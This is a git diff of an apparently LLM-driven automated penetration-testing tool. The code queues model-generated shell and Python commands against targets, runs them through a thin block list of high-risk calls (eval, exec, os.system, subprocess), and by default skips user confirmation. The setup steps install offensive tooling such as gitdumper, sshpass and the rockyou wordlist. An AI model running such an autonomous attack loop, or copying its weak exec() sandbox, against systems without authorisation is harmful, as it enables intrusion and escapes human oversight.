'mysql.connector': mysql.connector,
'struct': struct,
'sys': sys,
'requests': requests,
'ssl': ssl,
'FTP': FTP,
'HTTPBasicAuth': HTTPBasicAuth,
'telnetlib': telnetlib,
'time': time,
'uuid':uuid,
}
safe_locals = {}
try:
# 编译并执行用户提供的 code 字符串
compiled = compile(instruction_str, '<dynamic>', 'exec')
exec(compiled, safe_globals, safe_locals)
# dynamic_fun 必须存在
if 'dynamic_fun' not in safe_locals:
return False, "Function dynamic_fun() 未定义"
# 调用它并返回结果
res = safe_locals['dynamic_fun']()
if not (isinstance(res, tuple) and len(res) == 2 and isinstance(res[0], bool)):
return False, "dynamic_fun 返回值格式不对"
return res
except MemoryError:
return False, "内存溢出"
except RecursionError:
return False, "递归深度过深"
except Exception as e:
return False, f"子进程执行出错: {e}"
class PythoncodeTool():
def __init__(self,max_num):
self.proc_pool = ProcessPoolExecutor(max_workers=max_num)
def preprocess(self,code: str) -> str:
# 去掉最外层空行
code = code.strip('\n')
# 去除多余缩进
return textwrap.dedent(code)
def is_safe_code(self,code):
# List of high-risk functions to block (can be adjusted based on requirements)
# 只屏蔽这些“完整”函数调用
HIGH_RISK = {
'eval', # eval(...)
'exec', # exec(...)
'os.system', # os.system(...)
'subprocess.call', # subprocess.call(...)
'subprocess.Popen' # subprocess.Popen(...)
}
try:
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Call):
fn = node.func
# 1) 裸 exec/eval
if isinstance(fn, ast.Name):
if fn.id in ('exec', 'eval'):
return False,"有高风险函数,暂不执行!"
# 2) 模块级别的 os.system、subprocess.call、subprocess.Popen
elif isinstance(fn, ast.Attribute):
# value 必须是 Name,才算"模块.方法"
if isinstance(fn.value, ast.Name):
fullname = f"{fn.value.id}.{fn.attr}"
if fullname in HIGH_RISK:
return False,"有高风险函数,暂不执行!"
return True,""
except SyntaxError as se:
# 语法都不通过,也算不安全
print("解析失败!", se, "", se.lineno, "")
print("出错的那行是:", code.splitlines()[se.lineno - 1])
return False,str(se)
def validate_instruction(self, instruction):
#指令过滤
timeout = 60*10
instr = instruction.replace("python_code ","")
instr = instr.replace("python-code ", "")
instr = self.preprocess(instr)
# Safety check
bsafe,error = self.is_safe_code((instr))
if not bsafe:
return "", timeout,error
return instr,timeout,""
def safe_import(self,name,*args,**kwargs):
ALLOWED_MODULES = ['subprocess', 'json','re']
if name not in ALLOWED_MODULES:
raise ImportError(f"Import of '{name}' is not allowed")
return builtins.__import__(name, *args, **kwargs)
def _run_dynamic(self, safe_locals, q):
"""子进程执行 dynamic_fun 并把结果放入队列"""
try:
fn = safe_locals['dynamic_fun']
res = fn()
q.put(res)
except Exception as e:
q.put((False, f"执行出错: {e}"))
def execute_instruction(self, instruction_old):
'''
执行指令验证合法性 -> 执行 -> 分析结果
:param instruction_old:
:return:
bool:true-正常返回给大模型false-结果不返回给大模型
str:执行的指令
str:执行指令的结果
'''
ext_params = ReturnParams()
ext_params["is_user"] = False # 是否要提交用户确认 -- 默认False
ext_params["is_vulnerability"] = False # 是否是脆弱点
# 第一步:验证指令合法性
instruction,time_out,error = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, error,"",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令
future = self.proc_pool.submit(_execute_dynamic, instruction)
try:
# 在主进程中等待结果,超时则抛 TimeoutError
status, tmpout = future.result(timeout=time_out) #这里是阻塞的
except TimeoutError:
# 超时处理
future.cancel()
status, tmpout = False, f"执行超时({time_out} 秒)"
except Exception as e:
# 其他异常
status, tmpout = False, f"提交子进程运行出错: {e}"
output = f"status:{status},output:{tmpout}"
# 第三步:分析执行结果
analysis = self.analyze_result(output, instruction,"","")
# 指令和结果入数据库
# ?
if not analysis: # analysis为“” 不提交LLM
return False, instruction, analysis,"",ext_params
return True, instruction, analysis,"",ext_params
def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 --- 要不要限定一个max_len?
if "enum4linux " in instruction: #存在指令包装成Python代码返回的情况
result = my_merge("enum4linux",result)
else:
if len(result) > 3000: #超过2000长度时,尝试去重重复行
lines = result.splitlines()
seen = set()
unique_lines = []
for line in lines:
if line not in seen:
seen.add(line)
unique_lines.append(line)
return "\n".join(unique_lines)
return result
#关闭进程池
def shutdown(self):
self.proc_pool.shutdown(wait=True)
if __name__ == "__main__":
llm_code = """
def run_test():
return 'Penetration test executed successfully!'
"""

5
mycode/RsikManager.py

@ -0,0 +1,5 @@
class RsikManager:
def __init__(self):
pass

19
mycode/TaskManager.py

@ -79,6 +79,13 @@ class TaskManager:
else: else:
return False,"没有找到对应的任务" return False,"没有找到对应的任务"
def del_task(self,task_id):
if g_PKM.DelData(str(task_id)):
bsuccess = app_DBM.del_task(task_id)
return bsuccess,""
else:
return False,"删除对应文件失败"
#控制task启停----线程不停 #控制task启停----线程不停
def control_taks(self,task_id): def control_taks(self,task_id):
task = self.tasks[task_id] task = self.tasks[task_id]
@ -112,6 +119,14 @@ class TaskManager:
return tree_dict return tree_dict
return None return None
#获取历史节点树数据
def get_his_node_tree(self,task_id):
attack_tree = g_PKM.ReadData(str(task_id))
if attack_tree:
tree_dict = attack_tree.get_node_dict()
return tree_dict
return None
#修改任务的工作模式,只有在暂停状态才能修改 #修改任务的工作模式,只有在暂停状态才能修改
def update_task_work_type(self,task_id,new_work_type): def update_task_work_type(self,task_id,new_work_type):
task = self.tasks[task_id] task = self.tasks[task_id]
@ -192,6 +207,10 @@ class TaskManager:
return node.del_instr(instr) return node.del_instr(instr)
return False,"找不到对应节点!" return False,"找不到对应节点!"
def get_his_tasks(self,target_name,safe_rank,llm_type,start_time,end_time):
tasks = app_DBM.get_his_tasks(target_name,safe_rank,llm_type,start_time,end_time)
return tasks
#------------以下函数还未验证处理----------- #------------以下函数还未验证处理-----------

285
mycode/TaskObject.py

@ -14,6 +14,7 @@ from myutils.PickleManager import g_PKM
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from mycode.WebSocketManager import g_WSM from mycode.WebSocketManager import g_WSM
from mycode.CommandVerify import g_CV from mycode.CommandVerify import g_CV
from mycode.PythonTManager import PythonTManager
import asyncio import asyncio
import queue import queue
import time import time
@ -29,6 +30,7 @@ class TaskObject:
self.taskM = taskM self.taskM = taskM
self.logger = LogHandler().get_logger("TaskObject") self.logger = LogHandler().get_logger("TaskObject")
self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查 self.InstrM = g_instrM # 类对象渗透,要约束只读取信息,且不允许有类全局对象--持续检查
self.PythonM = PythonTManager(myCongif.get_data("Python_max_procs"))
self.CCM = ControlCenter() #一个任务一个CCM self.CCM = ControlCenter() #一个任务一个CCM
self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM self.LLM = LLMManager(llm_type) # LLM对象调整为一个任务一个对象,这样可以为不同的任务选择不同的LLM
#全局变量 #全局变量
@ -43,27 +45,47 @@ class TaskObject:
self.local_ip = local_ip self.local_ip = local_ip
self.attack_tree = None #任务节点树 self.attack_tree = None #任务节点树
self.safe_rank = 0 #安全级别 0-9 #?暂时还没实现更新逻辑 self.safe_rank = 0 #安全级别 0-9 #?暂时还没实现更新逻辑
#指令执行相关------- #指令执行相关-------
self.max_thread_num = num_threads #指令执行线程数量 self.max_thread_num = num_threads #指令执行线程数量
self.workth_list = [] #线程句柄list self.workth_list = [None] * num_threads #线程句柄list
self.doing_instr_list= [""] * num_threads
self.instr_node_queue = queue.Queue() #待执行指令的节点队列 self.instr_node_queue = queue.Queue() #待执行指令的节点队列
# self.long_instr_num = 0 #耗时指令数量
# self.long_time_instr = ['nikto'] #耗时操作不计入批量执行的数量,不加不减
self.lock = threading.Lock() #线程锁
self.node_num = 0 #在处理Node线程的处理 self.node_num = 0 #在处理Node线程的处理
#llm执行相关-------- #llm执行相关--------
#self.max_thread_num = 1 # 控制最大并发指令数量 --- 多线程的话节点树需要加锁 self.llm_max_nums = myCongif.get_data("LLM_max_threads") # 控制最大并发指令数量 --- 多线程的话节点树需要加锁
self.llmth_list = [] # llm线程list self.llmth_list = [None] * self.llm_max_nums # llm线程list
self.doing_llm_list = [""] * self.llm_max_nums
self.llm_node_queue = queue.Queue() #待提交LLM的节点队列 self.llm_node_queue = queue.Queue() #待提交LLM的节点队列
#自检线程-------- #自检线程--------
self.check_th = None #自检线程句柄 self.check_th = None #自检线程句柄
#-----四队列-----
self.run_instr_lock = threading.Lock() # 线程锁
self.runing_instr = {} #执行中指令记录
#---------------三个线程------------ #---------------三个线程------------
#测试指令执行线程 #测试指令执行线程
def do_worker_th(self): def mill_instr_preprocess(self,instructions,str_split):
new_instr = []
instrs = instructions.split(str_split)
index = 0
for instr in instrs:
if instr.strip().startswith("curl"):
if " --max-time " not in instr:
out_time = g_instrM.get_tool_out_time("curl")
instr = instr.strip() + f" --max-time {str(out_time)}"
#instr = instr.strip() + " --max-time 10"
new_instr.append(instr)
index += 1
new_star_instr = f"{str_split}".join(new_instr)
print(new_star_instr)
return new_star_instr
def do_worker_th(self,index):
#线程的dbm需要一个线程一个 #线程的dbm需要一个线程一个
th_DBM = DBManager() th_DBM = DBManager()
th_DBM.connect() th_DBM.connect()
th_index = index
while self.brun: while self.brun:
if self.task_status == 1: if self.task_status == 1:
try: try:
@ -74,9 +96,23 @@ class TaskObject:
instruction = work_node.get_instr() instruction = work_node.get_instr()
if not instruction: if not instruction:
break break
instruction = instruction.strip()
#对多shell指令的情况进行处理--也有风险
if "python-code" not in instruction:
if "&&" in instruction:
instruction = self.mill_instr_preprocess(instruction, "&&")
elif "||" in instruction:
instruction = self.mill_instr_preprocess(instruction, "||")
start_time = get_local_timestr() # 指令执行开始时间 start_time = get_local_timestr() # 指令执行开始时间
self.doing_instr_list[th_index] = instruction
if instruction.startswith("python-code"):#python代码--超过子进程数会阻塞等待,但不开始超时记时
instr, reslut, source_result, ext_params = self.PythonM.execute_instruction(instruction)
else:#shell指令
instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction) instr, reslut, source_result, ext_params = self.InstrM.execute_instruction(instruction)
self.doing_instr_list[th_index] = ""
end_time = get_local_timestr() # 指令执行结束时间 end_time = get_local_timestr() # 指令执行结束时间
# 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#? # 入数据库 -- bres True和False 都入数据库2025-3-10---加node_path(2025-3-18)#?
if th_DBM.ok: if th_DBM.ok:
work_node.do_sn += 1 work_node.do_sn += 1
@ -100,7 +136,7 @@ class TaskObject:
time.sleep(self.sleep_time) time.sleep(self.sleep_time)
#llm请求提交线程 #llm请求提交线程
def th_llm_worker(self): def th_llm_worker(self,index):
''' '''
几个规则--TM的work线程同 几个规则--TM的work线程同
1.线程获取一个节点后其他线程不能再获取这个节点遇到被执行的节点直接放弃执行--- 加了没办法保存中间结果进行测试 1.线程获取一个节点后其他线程不能再获取这个节点遇到被执行的节点直接放弃执行--- 加了没办法保存中间结果进行测试
@ -110,6 +146,7 @@ class TaskObject:
# 线程的dbm需要一个线程一个 # 线程的dbm需要一个线程一个
th_DBM = DBManager() th_DBM = DBManager()
th_DBM.connect() th_DBM.connect()
th_index = index
while self.brun: while self.brun:
if self.task_status == 1: if self.task_status == 1:
try: try:
@ -132,8 +169,10 @@ class TaskObject:
str_res = llm_data["result"] str_res = llm_data["result"]
#获取提示词 #获取提示词
prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt) prompt = self.get_llm_prompt(llm_type,str_res,user_Prompt)
self.doing_llm_list[th_index] = prompt
# 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行 # 提交llm请求返回数据--并对返回数据进行处理,节点指令直接执行,测试指令根据工作模式执行
node_cmds, commands,reasoning_content, content, post_time = self.LLM.get_llm_instruction(prompt,llm_node) # message要更新 node_cmds, commands,reasoning_content, content, post_time = self.LLM.get_llm_instruction(prompt,llm_node) # message要更新
self.doing_llm_list[th_index] = ""
# LLM记录存数据库 # LLM记录存数据库
if th_DBM.ok: if th_DBM.ok:
llm_node.llm_sn += 1 llm_node.llm_sn += 1
@ -148,23 +187,53 @@ class TaskObject:
2.LLM的回复开始反复时有点难判断 2.LLM的回复开始反复时有点难判断
''' '''
# 更新tree # 更新tree
bok, new_commands = self.tree_manager(node_cmds, llm_node, commands, th_DBM) bok, new_commands,iadd_node = self.tree_manager(node_cmds, llm_node, commands, th_DBM)
# 分析指令入对应节点 # 分析指令入对应节点
if bok: # 节点指令若存在错误,测试指令都不处理,需要LLM重新生成 if bok: # 节点指令若存在错误,测试指令都不处理,需要LLM重新生成
tmp_commands.extend(new_commands) tmp_commands.extend(new_commands)
#测试指令入节点待处理队列 --同时修改节点的work_status #测试指令入节点待处理队列 --同时修改节点的work_status
self.put_node_instrlist(tmp_commands, llm_node) self.put_node_instrlist(tmp_commands, llm_node,iadd_node)
#一个节点完成,节点树持久化---待验证是否有局部更新持久化的方案 #一个节点完成,节点树持久化---待验证是否有局部更新持久化的方案
g_PKM.WriteData(self.attack_tree,str(self.task_id)) g_PKM.WriteData(self.attack_tree,str(self.task_id))
except queue.Empty: except queue.Empty:
self.logger.debug("llm队列中暂时无新的提交任务!") #self.logger.debug("llm队列中暂时无新的提交任务!")
time.sleep(self.sleep_time) time.sleep(self.sleep_time)
else: else:
time.sleep(self.sleep_time) time.sleep(self.sleep_time)
#自检线程 #自检线程 --1.输出执行状态。2.需要自检和修复
def th_check(self): def th_check(self):
print("自检线程待实现中!") while self.brun:
try:
cur_time = get_local_timestr()
print(f"-----------当前时间程序运行情况:{cur_time}")
# #待执行instr-node
# instr_node_list = list(self.instr_node_queue.queue) #待执行指令的node--线程不安全
# print(f"**当前待执行指令node的数量为:{len(instr_node_list)}")
#执行中instr-node
index = 0
for w_th in self.workth_list:
if not w_th.is_alive():#线程
print(f"线程-{index}已处于异常状态,需要重新创建一个工作线程")
else:
print(f"线程-{index}在执行指令:{self.doing_instr_list[index]}")
index += 1
index = 0
for l_th in self.llmth_list:
if not l_th.is_alive():
print(f"LLM线程-{index}已处于异常状态,需要重新创建一个LLM线程")
else:
print(f"LLM线程-{index}在执行指令:{self.doing_llm_list[index]}")
index += 1
#待提交llm-node
# llm_node_list = list(self.llm_node_queue.queue) #待提交llm的node--线程不安全
# print(f"**当前待提交llm的node的数量为:{len(llm_node_list)}")
#休眠60
time.sleep(60)
except Exception as e:
print(f"*********自检线程异常退出:{str(e)}")
break
#------------入两个nodeMQ-禁止直接调用入队列----------- #------------入两个nodeMQ-禁止直接调用入队列-----------
def put_instr_mq(self,node): def put_instr_mq(self,node):
@ -209,25 +278,42 @@ class TaskObject:
if self.work_type == 1 and node.bwork: if self.work_type == 1 and node.bwork:
self.put_llm_mq(node) #变4 self.put_llm_mq(node) #变4
def put_node_instrlist(self, commands, node): #如果当前节点没有进一般指令返回,需要修改节点执行状态 #递归找节点
def find_node_by_child_node_name(self,cur_node,node_name):
find_node = None
if cur_node.children:
for child_node in cur_node.children:
if child_node.name == node_name:
find_node = child_node
break
else:
find_node = self.find_node_by_child_node_name(child_node,node_name)
if find_node:
break
return find_node
def put_node_instrlist(self, commands, node,iadd_node): #如果当前节点没有进一般指令返回,需要修改节点执行状态
node_list = [] #一次返回的测试指令 node_list = [] #一次返回的测试指令
for command in commands: for command in commands:
# 使用正则匹配方括号中的node_path(非贪婪模式) # 使用正则匹配方括号中的node_path(非贪婪模式)
match = re.search(r'\[(.*?)\]', command) match = re.search(r'\[(.*?)\]', command)
if match: if match:
node_path = match.group(1) node_path = match.group(1)
instruction = re.sub(r'\[.*?\]', "", command, count=1, flags=re.DOTALL)
#'''强制约束,不是本节点或者是子节点的指令不处理''' #'''强制约束,不是本节点或者是子节点的指令不处理'''
find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node) find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands)
if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加
node_name = node_path.split("->")[-1]
find_node = self.find_node_by_child_node_name(node,node_name)
if find_node: if find_node:
instruction = re.sub(r'\[.*?\]', "", command,count=1,flags=re.DOTALL)
find_node.add_instr(instruction) find_node.add_instr(instruction)
#DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正 #DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正
find_node.status = "未完成" find_node.status = "未完成"
if find_node not in node_list: if find_node not in node_list:
node_list.append(find_node) node_list.append(find_node)
self.update_node_work_status(find_node,1) #待执行 self.update_node_work_status(find_node,1) #待执行
else: else:#如果还没找到就暂时放弃
self.logger.error(f"基于节点路径没有找到对应的节点{node_path},父节点都没找到!当前节点{node.path}")#丢弃该指令 self.logger.error(f"基于节点路径没有找到对应的节点{node_path},父节点都没找到!当前节点{node.path}")#丢弃该指令
else: else:
self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令--- self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令---
@ -347,7 +433,7 @@ class TaskObject:
return user_Prompt return user_Prompt
#添加子节点 #添加子节点
def add_children_node(self,parent_node,children_names,status="未完成"): def add_children_node(self,parent_node,children_names,cur_node,status="未完成"):
for child_name in children_names: for child_name in children_names:
bfind = False bfind = False
for node_child in parent_node.children: for node_child in parent_node.children:
@ -357,7 +443,7 @@ class TaskObject:
if not bfind: if not bfind:
# 添加节点 # 添加节点
new_node = TreeNode(child_name, parent_node.task_id, status) new_node = TreeNode(child_name, parent_node.task_id, status)
parent_node.add_child(new_node) # message的传递待验证 parent_node.add_child(new_node,cur_node.messages) # message的传递待验证
#处理节点指令 #处理节点指令
def tree_manager(self,node_cmds,node,commands,DBM): def tree_manager(self,node_cmds,node,commands,DBM):
@ -366,42 +452,75 @@ class TaskObject:
2025-03-22添加commands参数用于处理LLM对同一个节点返回了测试指令但还返回了no_instruction节点指令 2025-03-22添加commands参数用于处理LLM对同一个节点返回了测试指令但还返回了no_instruction节点指令
''' '''
if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令 if not node_cmds: # or len(node_cmds)==0: 正常not判断就可以有没有节点指令
return True,commands return True,commands,0
#对节点指令进行校验 #对节点指令进行校验
bok,strerror = g_CV.verify_node_cmds(node_cmds) bok,strerror = g_CV.verify_node_cmds(node_cmds)
if not bok: #节点指令存在问题,则不进行后续处理,提交一个错误反馈任务 if not bok: #节点指令存在问题,则不进行后续处理,提交一个错误反馈任务
# 提交llm待处理任务 # 提交llm待处理任务
self.put_node_reslist(node, strerror, 2) self.put_node_reslist(node, strerror, 2)
return False,commands return False,commands,0
#对节点数据进行初步验证
ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds)
if no_add_nodes:#如果有没有添加的节点,默认在当前节点下添加 -- 一般不会有,还没遇到
self.add_children_node(node,no_add_nodes)
#ad_instr_nodes --- 还没处理
#先执行add_node操作
residue_node_cmds = [] residue_node_cmds = []
badd_node = False no_instr_nodes = []
for node_json in node_cmds: #如果有on_instruction,先补全指令保障信息链的完整
for node_cmd in node_cmds:
action = node_cmd["action"]
if action == "no_instruction":
node_names = node_cmd["nodes"].split(',')
for node_name in node_names:
# 先判断是否在测试指令中,若在则不提交llm任务,只能接受在一次返回中同一节点有多条测试指令,不允许分次返回
bcommand = False
for com in commands:
if node_name in com:
bcommand = True
break
if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction
continue
no_instr_nodes.append(node_name)
else:#剩余的节点指令
residue_node_cmds.append(node_cmd)
if no_instr_nodes: # 阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token
new_commands = self.get_other_instruction(no_instr_nodes, DBM, node)
commands.extend(new_commands)
# #对节点数据进行初步验证
# ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds)
# if no_add_nodes:#如果有没有添加的节点,默认在当前节点下添加 -- 一般不会有,还没遇到
# self.add_children_node(node,no_add_nodes,node)
# #ad_instr_nodes --- 还没处理
#先执行add_node操作---2025-4-12-调整:message取当前节点,节点允许为子节点添加子节点
iadd_node = 0
residue_cmd_sno_add_= []
for node_json in residue_node_cmds:
action = node_json["action"] action = node_json["action"]
if action == "add_node": # 新增节点 if action == "add_node": # 新增节点
badd_node = True
parent_node_name = node_json["parent"] parent_node_name = node_json["parent"]
status = node_json["status"] status = "未完成" #2025-4-11修改MGS-节点指令格式,取消了status
node_names = node_json["nodes"].split(',') node_names = node_json["nodes"].split(',')
# 新增节点原则上应该都是当前节点增加子节点 # 新增节点原则上应该都是当前节点增加子节点
if node.name == parent_node_name or parent_node_name.endswith(node.name): #2233ai,节点名称字段会返回整个路径 if node.name == parent_node_name or parent_node_name.endswith(node.name): #2233ai,节点名称字段会返回整个路径
self.add_children_node(node, node_names,status) #添加子节点 #添加当前节点的子节点 -- 这是标准情况
elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name): self.add_children_node(node, node_names,node)
iadd_node += len(node_names) # 添加节点的数量---当前只记录给当前节点添加的子节点的数量
elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name):#添加当前节点的平级节点
#是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况 #是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况
self.add_children_node(node.parent,node_names,status) #添加当前节点的平级节点 self.add_children_node(node.parent,node_names,node)
else: else:
self.logger.error(f"添加子节点时,遇到父节点名称不一致的,需要介入!!{node_json}") # 丢弃该节点 badd = False
else:#其他指令添加到list for child_node in node.children:#给子节点添加子节点
residue_node_cmds.append(node_json) if parent_node_name == child_node.name or parent_node_name.endswith(child_node.name):
badd = True
self.add_children_node(child_node,node_names,node)
break
if not badd:
self.logger.error(f"添加子节点时,遇到父节点名称没有找到的,需要介入!!{node_json}") # 丢弃该节点
else:#未处理的节点指令添加到list
residue_cmd_sno_add_.append(node_json)
if badd_node and self.taskM.web_cur_task == self.task_id: #如果新增了节点,且该节点树是当前查看的数据,需要通知前端更新数据 if iadd_node and self.taskM.web_cur_task == self.task_id: #如果新增了节点,且该节点树是当前查看的数据,需要通知前端更新数据
idatatype = 2 idatatype = 2
strdata = "update accack_tree!" strdata = "update accack_tree!"
asyncio.run(g_WSM.send_data(idatatype, strdata)) asyncio.run(g_WSM.send_data(idatatype, strdata))
@ -409,57 +528,39 @@ class TaskObject:
self.taskM.web_cur_task = 0 self.taskM.web_cur_task = 0
#执行剩余的节点指令--不分先后 #执行剩余的节点指令--不分先后
for node_json in residue_node_cmds: for node_json in residue_cmd_sno_add_:#2025-4-11重新调整了节点指令格式定义
action = node_json["action"] action = node_json["action"]
if action == "update_status": if action == "find_vul":
node_name = node_json["node"] node_name = node_json["node"]
status = node_json["status"] vul_node = None
vul_type = "未发现" if node.name == node_name or node_name.endswith(node.name): #正常应该是当前节点漏洞信息--暂时只考虑只会有一个漏洞
if node.name == node_name or node_name.endswith(node_name): vul_node = node
node.status = status else: #匹配子节点
if "vulnerability" in node_json: for child in node.children:
#{\"name\":\"漏洞名称\",\"risk\":\"风险等级(低危/中危/高危)\",\"info\":\"补充信息(没有可为空)\"}}; if child.name == node_name or node_name.endswith(child.name):
#vul_type = json.dumps(node_json["vulnerability"],ensure_ascii=False) #json转字符串 vul_node = node
break
if vul_node: #找到对应了漏洞节点
try: try:
node.vul_type = node_json["vulnerability"]["name"] vul_node.vul_type = node_json["vulnerability"]["name"]
node.vul_grade = node_json["vulnerability"]["risk"] vul_node.vul_grade = node_json["vulnerability"]["risk"]
node.vul_info = node_json["vulnerability"]["info"] vul_node.vul_info = node_json["vulnerability"]["info"]
#保存到数据库
DBM.insert_taks_vul(self.task_id,vul_node.name,vul_node.path,vul_node.vul_type,vul_node.vul_grade,
vul_node.vul_info)
except: except:
self.logger.error("漏洞信息错误") self.logger.error("漏洞信息错误")
#node.vul_type = vul_type continue
else: else:
str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}" str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}"
self.logger.error(str_user) self.logger.error(str_user)
#self.need_user_know(str_user,node) elif action == "end_work":
elif action == "no_instruction": node_name = node_json["node"]
#返回的未生成指令的数据进行校验:1.要有数据;2.节点不是当前节点就是子节点 if node.name == node_name or node_name.endswith(node_name): # 正常应该是当前节点
nodes = [] node.status = "已完成"
node_names = node_json["nodes"].split(',')
for node_name in node_names:
#先判断是否在测试指令中,若在则不提交llm任务,只能接受在一次返回中同一节点有多条测试指令,不允许分次返回
bcommand = False
for com in commands:
if node_name in com:
bcommand = True
break
if bcommand: #如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction
continue
#验证对应节点是否已经创建---本节点或子节点,其他节点不处理(更狠一点就是本节点都不行)
bfind = False
if node_name == node.name:
bfind = True
nodes.append(node_name)
else: else:
for child_node in node.children: str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}"
if child_node.name == node_name: self.logger.error(str_user)
bfind = True
nodes.append(node_name)
break
if not bfind:
self.logger.debug(f"没有找到该节点{node_name}")
if nodes: #阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token
new_commands = self.get_other_instruction(nodes,DBM,node)
commands.extend(new_commands)
elif action == "no_create": #提交人工确认 elif action == "no_create": #提交人工确认
nodes = node_json["nodes"] nodes = node_json["nodes"]
if nodes: if nodes:
@ -470,7 +571,7 @@ class TaskObject:
# self.logger.debug(f"未新增的节点有:{nodes}") # self.logger.debug(f"未新增的节点有:{nodes}")
else: else:
self.logger.error("****不应该执行到这!程序逻辑存在问题!") self.logger.error("****不应该执行到这!程序逻辑存在问题!")
return True,commands return True,commands,iadd_node
#阻塞轮询补充指令 #阻塞轮询补充指令
def get_other_instruction(self,nodes,DBM,cur_node): def get_other_instruction(self,nodes,DBM,cur_node):
@ -547,13 +648,14 @@ class TaskObject:
self.brun = True #线程正常启动 self.brun = True #线程正常启动
#启动指令工作线程 #启动指令工作线程
for i in range(self.max_thread_num): for i in range(self.max_thread_num):
w_th = threading.Thread(target=self.do_worker_th) w_th = threading.Thread(target=self.do_worker_th,args=(i,))
w_th.start() w_th.start()
self.workth_list.append(w_th) self.workth_list[i] = w_th
#启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁 #启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁
l_th = threading.Thread(target=self.th_llm_worker) for j in range(self.llm_max_nums):
l_th = threading.Thread(target=self.th_llm_worker,args=(j,))
l_th.start() l_th.start()
self.llmth_list.append(l_th) self.llmth_list[j]=l_th
#启动自检线程 #启动自检线程
self.check_th = threading.Thread(target=self.th_check) self.check_th = threading.Thread(target=self.th_check)
self.check_th.start() self.check_th.start()
@ -563,15 +665,6 @@ class TaskObject:
self.InstrM.init_data() self.InstrM.init_data()
#结束任务需要收尾处理#? #结束任务需要收尾处理#?
def do_work(self,taks_id,work_type):
'''
手动控制程序
:param taks_id:
:param work_type:
:return:
'''
pass
if __name__ == "__main__": if __name__ == "__main__":
pass pass

37
myutils/PickleManager.py

@ -1,5 +1,6 @@
import pickle import pickle
import threading import threading
import os
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
class PickleManager: class PickleManager:
@ -7,26 +8,46 @@ class PickleManager:
self.lock = threading.Lock() # 线程锁 self.lock = threading.Lock() # 线程锁
self.tree_file = myCongif.get_data("TreeFile") self.tree_file = myCongif.get_data("TreeFile")
def WriteData(self,attack_tree,filename=""): def getfile_path(self,filename=""):
filepath = self.tree_file
if filename: if filename:
filepath = "tree_data/"+filename filepath = "tree_data/"+filename
else: return filepath
filepath = self.tree_file
def WriteData(self,attack_tree,filename=""):
filepath = self.getfile_path(filename)
with self.lock: with self.lock:
with open(filepath, 'wb') as f: with open(filepath, 'wb') as f:
pickle.dump(attack_tree, f) pickle.dump(attack_tree, f)
def ReadData(self,filename=""): def ReadData(self,filename=""):
attack_tree = None attack_tree = None
if filename: filepath = self.getfile_path(filename)
filepath = "tree_data/"+filename
else:
filepath = self.tree_file
with self.lock: with self.lock:
with open(filepath, "rb") as f: with open(filepath, "rb") as f:
attack_tree = pickle.load(f) attack_tree = pickle.load(f)
return attack_tree return attack_tree
def DelData(self,filename=""):
filepath = self.getfile_path(filename)
#删除文件
try:
os.remove(filepath)
return True
except FileNotFoundError:
# 文件不存在
return True
except PermissionError:
# 没有删除权限/文件被占用
return False
except IsADirectoryError:
# 路径指向的是目录而非文件
return False
except Exception as e:
# 其他未知错误(如路径非法、存储介质故障等)
print(f"删除文件时发生意外错误: {str(e)}")
return False
g_PKM = PickleManager() g_PKM = PickleManager()

17
pipfile

@ -20,6 +20,21 @@ pip install psycopg2 -i https://pypi.tuna.tsinghua.edu.cn/simple/
cd /usr/share/wordlists/ cd /usr/share/wordlists/
gzip -d rockyou.txt.gz gzip -d rockyou.txt.gz
pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/
apt install sshpass
#----gittools----
# 克隆 GitTools 仓库
git clone https://github.com/internetwache/GitTools.git
# 进入工具目录
cd GitTools/Dumper/
# 赋予脚本执行权限
chmod +x gitdumper.sh
# 将工具链接到系统路径(可选,方便全局调用)
sudo ln -s $(pwd)/gitdumper.sh /usr/local/bin/gitdumper
#searchsploit -u 更新漏洞信息 #searchsploit -u 更新漏洞信息
#-----------------web相关------------------- #-----------------web相关-------------------
pip install quart -i https://pypi.tuna.tsinghua.edu.cn/simple pip install quart -i https://pypi.tuna.tsinghua.edu.cn/simple
@ -43,4 +58,6 @@ sudo apt-get install ttf-mscorefonts-installer
sudo fc-cache -fv #更新字体缓存 sudo fc-cache -fv #更新字体缓存
